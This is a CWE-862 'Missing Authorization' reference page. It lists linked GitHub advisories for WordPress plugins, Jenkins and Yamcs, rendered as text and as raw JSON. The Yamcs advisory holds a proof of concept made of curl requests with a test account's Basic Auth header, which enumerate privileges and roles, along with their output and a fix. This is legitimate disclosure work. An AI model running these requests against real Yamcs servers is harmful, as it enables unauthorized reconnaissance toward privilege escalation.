CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19905 vulnerabilities reference this CWE, most recent first.
GHSA-CVPP-HJP6-QCPV
Vulnerability from github – Published: 2026-01-06 18:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Sfwebservice InWave Jobs allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects InWave Jobs: from n/a through 3.5.8.
{
"affected": [],
"aliases": [
"CVE-2025-39477"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-06T17:15:43Z",
"severity": "CRITICAL"
},
"details": "Missing Authorization vulnerability in Sfwebservice InWave Jobs allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects InWave Jobs: from n/a through 3.5.8.",
"id": "GHSA-cvpp-hjp6-qcpv",
"modified": "2026-04-28T21:35:53Z",
"published": "2026-01-06T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39477"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/iwjob/vulnerability/wordpress-inwave-jobs-plugin-3-5-8-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVQJ-PPFQ-HH39
Vulnerability from github – Published: 2024-12-12 06:30 – Updated: 2024-12-12 06:30The Child Theme Creator by Orbisius plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the cloud_delete() and cloud_update() functions in all versions up to, and including, 1.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and delete cloud snippets. Please note that this vulnerability was present in the Cloud Library Addon used by the plugin and not in the plugin itself, the cloud library has been removed entirely.
{
"affected": [],
"aliases": [
"CVE-2024-12263"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T06:15:23Z",
"severity": "MODERATE"
},
"details": "The Child Theme Creator by Orbisius plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the cloud_delete() and cloud_update() functions in all versions up to, and including, 1.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and delete cloud snippets. Please note that this vulnerability was present in the Cloud Library Addon used by the plugin and not in the plugin itself, the cloud library has been removed entirely.",
"id": "GHSA-cvqj-ppfq-hh39",
"modified": "2024-12-12T06:30:51Z",
"published": "2024-12-12T06:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12263"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3205672%40orbisius-child-theme-creator\u0026new=3205672%40orbisius-child-theme-creator\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dd0eb569-b526-48bd-8198-ff883860e040?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CVVM-4CR9-R436
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-12-16 20:42The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.
Multiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.
SECURITY-2542 / CVE-2021-21695: FilePath#listFiles lists files outside directories with agent read access when following symbolic links.
We expect that most of these vulnerabilities have been present since SECURITY-144 was addressed in the 2014-10-30 security advisory.
Jenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.
SECURITY-2542 / CVE-2021-21695: FilePath#listFiles checks stat permission on files it returns, preventing listing files outside allowed directories.
As some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory (Java system property jenkins.model.Jenkins.buildsDir) or partitioning JENKINS_HOME using symbolic links may fail access control checks. See the documentation for how to customize the configuration in case of problems.
If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the Remoting Security Workaround Plugin. It will prevent all agent-to-controller file access using FilePath APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.303.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.318"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.304"
},
{
"fixed": "2.319"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21695"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-23T06:47:14Z",
"nvd_published_at": "2021-11-04T17:15:00Z",
"severity": "CRITICAL"
},
"details": "The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.\n\nMultiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.\n\nSECURITY-2542 / CVE-2021-21695: `FilePath#listFiles` lists files outside directories with agent read access when following symbolic links.\n\nWe expect that most of these vulnerabilities have been present since [SECURITY-144 was addressed in the 2014-10-30 security advisory](https://www.jenkins.io/security/advisory/2014-10-30/).\n\nJenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.\n\nSECURITY-2542 / CVE-2021-21695: `FilePath#listFiles` checks `stat` permission on files it returns, preventing listing files outside allowed directories.\n\nAs some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory ([Java system property jenkins.model.Jenkins.buildsDir](https://www.jenkins.io/doc/book/managing/system-properties/#jenkins-model-jenkins-buildsdir)) or partitioning `JENKINS_HOME` using symbolic links may fail access control checks. See [the documentation](https://www.jenkins.io/doc/book/security/controller-isolation/agent-to-controller/#file-access-rules) for how to customize the configuration in case of problems.\n\nIf you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using `FilePath` APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.",
"id": "GHSA-cvvm-4cr9-r436",
"modified": "2022-12-16T20:42:26Z",
"published": "2022-05-24T19:19:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21695"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/63cde2daadc705edf086f2213b48c8c547f98358"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2021-11-04/#SECURITY-2455"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/11/04/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Multiple vulnerabilities allow bypassing path filtering of agent-to-controller access control in Jenkins"
}
GHSA-CVW4-55PP-3HFQ
Vulnerability from github – Published: 2026-08-28 17:13 – Updated: 2026-08-28 17:13Summary
Missing authorization checks on three IAM API endpoints (GET /api/roles, GET /api/roles/{name}, GET /api/privileges) allow any authenticated user — regardless of their assigned permissions — to enumerate the complete list of system privileges and role definitions. An attacker with only a low-privilege account (e.g., a read-only operator) can retrieve the full privilege taxonomy of the server, including the names and assignments of all administrator-level capabilities. This information directly enables targeted privilege escalation attacks.
Details
Three handler methods in IamApi.java serve sensitive security metadata without performing any authorization check:
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java
// Line 73 — GET /api/roles
@Override
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<Role> roles = securityStore.getDirectory().getRoles();
// No ctx.checkSystemPrivilege() call — any authenticated user proceeds
...
observer.complete(responseb.build());
}
// Line 87 — GET /api/roles/{name}
@Override
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
Role role = securityStore.getDirectory().getRole(request.getName());
// No ctx.checkSystemPrivilege() call
observer.complete(toRoleInfo(role));
}
// Line 112 — GET /api/privileges
@Override
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();
List<SystemPrivilege> privileges = new ArrayList<>(securityStore.getSystemPrivileges());
// No ctx.checkSystemPrivilege() call
observer.complete(responseb.build());
}
By contrast, all write operations and user-management endpoints in the same file correctly enforce authorization. For example:
// Line 126 — GET /api/users (correctly protected)
public void listUsers(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}
// Line 142 — POST /api/users (correctly protected)
public void createUser(...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ← present
...
}
The three vulnerable endpoints share the same ControlAccess protection requirement as the user-management endpoints but were never given the corresponding check.
Route definitions (confirmed in yamcs-api/src/main/proto/yamcs/protobuf/iam/iam.proto):
GET /api/privileges → IamApi.listPrivileges()
GET /api/roles → IamApi.listRoles()
GET /api/roles/{name} → IamApi.getRole()
PoC
Environment
- Yamcs version: 5.13.1-SNAPSHOT (latest master)
- Auth module: YamlAuthModule (default)
- Two accounts available:
admin(Administrator) andoperator(Operator) - Calculate the Basic Auth credentials for the two accounts (this needs to be done only once). Please modify according to the actual situation. These credentials will be used in subsequent commands. Here, there is a test low-privilege account named "operator" with the password "password".
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('admin:admin'))"
powershell -command "[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes('operator:password'))"
Step 1 — Confirm that protected endpoints correctly return 403 for low-privilege users
curl -s -o nul -w "HTTP %{http_code}" http://localhost:8090/api/users -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Expected: HTTP 403 — the user-list endpoint enforces ControlAccess.
Step 2 — Enumerate all system privileges with the operator account
curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/privileges -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"systemPrivileges": ["ChangeMissionDatabase", "CommandOptions", "ControlAccess", "ControlActivities", "ControlAlarms", "ControlArchiving", "ControlCommandClearances", "ControlCommandQueue", "ControlFileTransfers", "ControlLinks", "ControlProcessor", "ControlServices", "ControlTimeCorrelation", "ControlTimeline", "CreateInstances", "GetMissionDatabase", "ManageAnyBucket", "ManageParameterLists", "ModifyCommandHistory", "ReadActivities", "ReadAlarms", "ReadCommandHistory", "ReadEvents", "ReadFileTransfers", "ReadLinks", "ReadSystemInfo", "ReadTables", "ReadTimeline", "WriteEvents", "WriteTables", "web.AccessAdminArea"]
}
The operator account receives the server's complete privilege taxonomy — all 31 system privileges including ControlAccess (full user management) and ChangeMissionDatabase (algorithm-level RCE, see related advisory).
Step 3 — Enumerate all defined roles with the operator account
curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response (HTTP 200):
C:\Users\20616>curl -s http://localhost:8090/api/roles -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
}
The endpoint returns HTTP 200 (no authorization check triggered). The empty body reflects the test environment: the YamlAuthModule stores role names as plain strings in users.yaml and does not persist Role objects into the security store's Directory. In any Yamcs instance where roles have been created through the REST API (POST /api/roles), this endpoint returns the full role-to-privilege mapping for every defined role.
Step 4 — Attempt to read a specific role by name
curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
Actual response:
C:\Users\20616>curl -s http://localhost:8090/api/roles/Administrator -H "Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ="
{
"code": 404,
"type": "NotFoundException",
"msg": "Resource not found"
}
The 404 is a business-logic outcome (the role object does not exist in the Directory for this test configuration), not an authorization rejection. The server never checked whether the caller is permitted to read role data — it proceeded to the lookup and returned the lookup result. In a deployment where roles are registered as objects, this endpoint returns their full privilege configuration to any authenticated user.
Observed vs Expected
| Request | Expected | Actual | Note |
|---|---|---|---|
GET /api/users (operator) |
403 | 403 ✓ | Auth check present |
GET /api/privileges (operator) |
403 | 200 ✗ | Confirmed — full privilege list leaked |
GET /api/roles (operator) |
403 | 200 ✗ | Auth check absent; empty only in this test setup |
GET /api/roles/Administrator (operator) |
403 | 404 ✗ | No auth check; 404 = role not in Directory, not access denied |
Impact
Vulnerability type: Broken Function Level Authorization (BFLA) / Missing Authorization (OWASP API Security Top 10 2023: API5)
Who is impacted:
Any deployment of Yamcs that has authentication enabled (the default for production setups) and has more than one user tier. This includes the vast majority of operational Yamcs installations in ground station, satellite operations, and mission control contexts.
Direct impact:
- Any authenticated user, including operators, guest accounts, or service accounts with minimal privileges, can retrieve the server's complete privilege taxonomy and all role-to-privilege mappings.
Chained impact:
The disclosed privilege names and role definitions provide an attacker with a precise roadmap for privilege escalation:
1. Identify which privilege grants the capability they need (e.g., ChangeMissionDatabase for RCE via the algorithm engine, ControlAccess for full user management).
2. Identify which roles carry that privilege.
3. Target the accounts that hold those roles for credential theft, session hijacking, or social engineering.
In mission-critical environments (spacecraft operations, industrial control), unauthorized privilege escalation via this information leak could have safety implications beyond IT security.
Fix
Add ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess) as the first statement in each of the three affected methods, matching the pattern already used by adjacent endpoints in the same file:
// IamApi.java — apply to all three methods
public void listRoles(Context ctx, Empty request, Observer<ListRolesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void getRole(Context ctx, GetRoleRequest request, Observer<RoleInfo> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
public void listPrivileges(Context ctx, Empty request, Observer<ListPrivilegesResponse> observer) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE
...
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55547"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:13:23Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nMissing authorization checks on three IAM API endpoints (`GET /api/roles`, `GET /api/roles/{name}`, `GET /api/privileges`) allow any authenticated user \u2014 regardless of their assigned permissions \u2014 to enumerate the complete list of system privileges and role definitions. An attacker with only a low-privilege account (e.g., a read-only operator) can retrieve the full privilege taxonomy of the server, including the names and assignments of all administrator-level capabilities. This information directly enables targeted privilege escalation attacks.\n\n---\n\n## Details\n\nThree handler methods in `IamApi.java` serve sensitive security metadata without performing any authorization check:\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java`\n\n```java\n// Line 73 \u2014 GET /api/roles\n@Override\npublic void listRoles(Context ctx, Empty request, Observer\u003cListRolesResponse\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n List\u003cRole\u003e roles = securityStore.getDirectory().getRoles();\n // No ctx.checkSystemPrivilege() call \u2014 any authenticated user proceeds\n ...\n observer.complete(responseb.build());\n}\n\n// Line 87 \u2014 GET /api/roles/{name}\n@Override\npublic void getRole(Context ctx, GetRoleRequest request, Observer\u003cRoleInfo\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n Role role = securityStore.getDirectory().getRole(request.getName());\n // No ctx.checkSystemPrivilege() call\n observer.complete(toRoleInfo(role));\n}\n\n// Line 112 \u2014 GET /api/privileges\n@Override\npublic void listPrivileges(Context ctx, Empty request, Observer\u003cListPrivilegesResponse\u003e observer) {\n SecurityStore securityStore = YamcsServer.getServer().getSecurityStore();\n List\u003cSystemPrivilege\u003e privileges = new ArrayList\u003c\u003e(securityStore.getSystemPrivileges());\n // No ctx.checkSystemPrivilege() call\n observer.complete(responseb.build());\n}\n```\n\nBy contrast, all write operations and user-management endpoints in the same file correctly enforce authorization. For example:\n\n```java\n// Line 126 \u2014 GET /api/users (correctly protected)\npublic void listUsers(...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // \u2190 present\n ...\n}\n\n// Line 142 \u2014 POST /api/users (correctly protected)\npublic void createUser(...) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // \u2190 present\n ...\n}\n```\n\nThe three vulnerable endpoints share the same `ControlAccess` protection requirement as the user-management endpoints but were never given the corresponding check.\n\n**Route definitions** (confirmed in `yamcs-api/src/main/proto/yamcs/protobuf/iam/iam.proto`):\n\n```\nGET /api/privileges \u2192 IamApi.listPrivileges()\nGET /api/roles \u2192 IamApi.listRoles()\nGET /api/roles/{name} \u2192 IamApi.getRole()\n```\n\n---\n\n## PoC\n\u003cimg width=\"2324\" height=\"1086\" alt=\"image\" src=\"https://github.com/user-attachments/assets/98ec3e81-556d-41e1-9211-10a5b9ad0d59\" /\u003e\n\n\n### Environment\n\n- Yamcs version: 5.13.1-SNAPSHOT (latest master)\n- Auth module: YamlAuthModule (default)\n- Two accounts available: `admin` (Administrator) and `operator` (Operator)\n- Calculate the Basic Auth credentials for the two accounts (this needs to be done only once). Please modify according to the actual situation. These credentials will be used in subsequent commands. Here, there is a test low-privilege account named \"operator\" with the password \"password\".\n\n\u003cimg width=\"2243\" height=\"223\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5614013c-2143-4f61-aba3-eab1cba24b67\" /\u003e\n\n`powershell -command \"[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(\u0027admin:admin\u0027))\"`\n\n`powershell -command \"[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(\u0027operator:password\u0027))\"`\n\n### Step 1 \u2014 Confirm that protected endpoints correctly return 403 for low-privilege users\n\n```cmd\ncurl -s -o nul -w \"HTTP %{http_code}\" http://localhost:8090/api/users -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\nExpected: `HTTP 403` \u2014 the user-list endpoint enforces `ControlAccess`.\n\n### Step 2 \u2014 Enumerate all system privileges with the operator account\n\n```cmd\ncurl -s http://localhost:8090/api/privileges -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response (HTTP 200):**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/privileges -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n \"systemPrivileges\": [\"ChangeMissionDatabase\", \"CommandOptions\", \"ControlAccess\", \"ControlActivities\", \"ControlAlarms\", \"ControlArchiving\", \"ControlCommandClearances\", \"ControlCommandQueue\", \"ControlFileTransfers\", \"ControlLinks\", \"ControlProcessor\", \"ControlServices\", \"ControlTimeCorrelation\", \"ControlTimeline\", \"CreateInstances\", \"GetMissionDatabase\", \"ManageAnyBucket\", \"ManageParameterLists\", \"ModifyCommandHistory\", \"ReadActivities\", \"ReadAlarms\", \"ReadCommandHistory\", \"ReadEvents\", \"ReadFileTransfers\", \"ReadLinks\", \"ReadSystemInfo\", \"ReadTables\", \"ReadTimeline\", \"WriteEvents\", \"WriteTables\", \"web.AccessAdminArea\"]\n}\n```\n\nThe operator account receives the server\u0027s complete privilege taxonomy \u2014 all 31 system privileges including `ControlAccess` (full user management) and `ChangeMissionDatabase` (algorithm-level RCE, see related advisory).\n\n### Step 3 \u2014 Enumerate all defined roles with the operator account\n\n```cmd\ncurl -s http://localhost:8090/api/roles -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response (HTTP 200):**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/roles -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n}\n```\n\nThe endpoint returns HTTP 200 (no authorization check triggered). The empty body reflects the test environment: the `YamlAuthModule` stores role names as plain strings in `users.yaml` and does not persist `Role` objects into the security store\u0027s `Directory`. In any Yamcs instance where roles have been created through the REST API (`POST /api/roles`), this endpoint returns the full role-to-privilege mapping for every defined role.\n\n### Step 4 \u2014 Attempt to read a specific role by name\n\n```cmd\ncurl -s http://localhost:8090/api/roles/Administrator -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n```\n\n**Actual response:**\n\n```\nC:\\Users\\20616\u003ecurl -s http://localhost:8090/api/roles/Administrator -H \"Authorization: Basic b3BlcmF0b3I6cGFzc3dvcmQ=\"\n{\n \"code\": 404,\n \"type\": \"NotFoundException\",\n \"msg\": \"Resource not found\"\n}\n```\n\nThe 404 is a business-logic outcome (the role object does not exist in the `Directory` for this test configuration), **not** an authorization rejection. The server never checked whether the caller is permitted to read role data \u2014 it proceeded to the lookup and returned the lookup result. In a deployment where roles are registered as objects, this endpoint returns their full privilege configuration to any authenticated user.\n\n### Observed vs Expected\n\n| Request | Expected | Actual | Note |\n|---------|----------|--------|------|\n| `GET /api/users` (operator) | 403 | **403** \u2713 | Auth check present |\n| `GET /api/privileges` (operator) | 403 | **200** \u2717 | **Confirmed \u2014 full privilege list leaked** |\n| `GET /api/roles` (operator) | 403 | **200** \u2717 | Auth check absent; empty only in this test setup |\n| `GET /api/roles/Administrator` (operator) | 403 | **404** \u2717 | No auth check; 404 = role not in Directory, not access denied |\n\n---\n\n## Impact\n\n**Vulnerability type:** Broken Function Level Authorization (BFLA) / Missing Authorization (OWASP API Security Top 10 2023: API5)\n\n**Who is impacted:** \nAny deployment of Yamcs that has authentication enabled (the default for production setups) and has more than one user tier. This includes the vast majority of operational Yamcs installations in ground station, satellite operations, and mission control contexts.\n\n**Direct impact:** \n- Any authenticated user, including operators, guest accounts, or service accounts with minimal privileges, can retrieve the server\u0027s complete privilege taxonomy and all role-to-privilege mappings.\n\n**Chained impact:** \nThe disclosed privilege names and role definitions provide an attacker with a precise roadmap for privilege escalation:\n1. Identify which privilege grants the capability they need (e.g., `ChangeMissionDatabase` for RCE via the algorithm engine, `ControlAccess` for full user management).\n2. Identify which roles carry that privilege.\n3. Target the accounts that hold those roles for credential theft, session hijacking, or social engineering.\n\nIn mission-critical environments (spacecraft operations, industrial control), unauthorized privilege escalation via this information leak could have safety implications beyond IT security.\n\n---\n\n## Fix\n\nAdd `ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess)` as the first statement in each of the three affected methods, matching the pattern already used by adjacent endpoints in the same file:\n\n```java\n// IamApi.java \u2014 apply to all three methods\n\npublic void listRoles(Context ctx, Empty request, Observer\u003cListRolesResponse\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n\npublic void getRole(Context ctx, GetRoleRequest request, Observer\u003cRoleInfo\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n\npublic void listPrivileges(Context ctx, Empty request, Observer\u003cListPrivilegesResponse\u003e observer) {\n ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS LINE\n ...\n}\n```",
"id": "GHSA-cvw4-55pp-3hfq",
"modified": "2026-08-28T17:13:23Z",
"published": "2026-08-28T17:13:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-cvw4-55pp-3hfq"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/c2aec1c242e656e48b52c7f87deea88183bb592d"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/dcaec5f0b2f4231b8e313e94d79a937169c9e0ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Yamcs\u0027s Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration"
}
GHSA-CVWJ-6C9H-JG6V
Vulnerability from github – Published: 2026-02-25 18:59 – Updated: 2026-02-25 18:59Impact
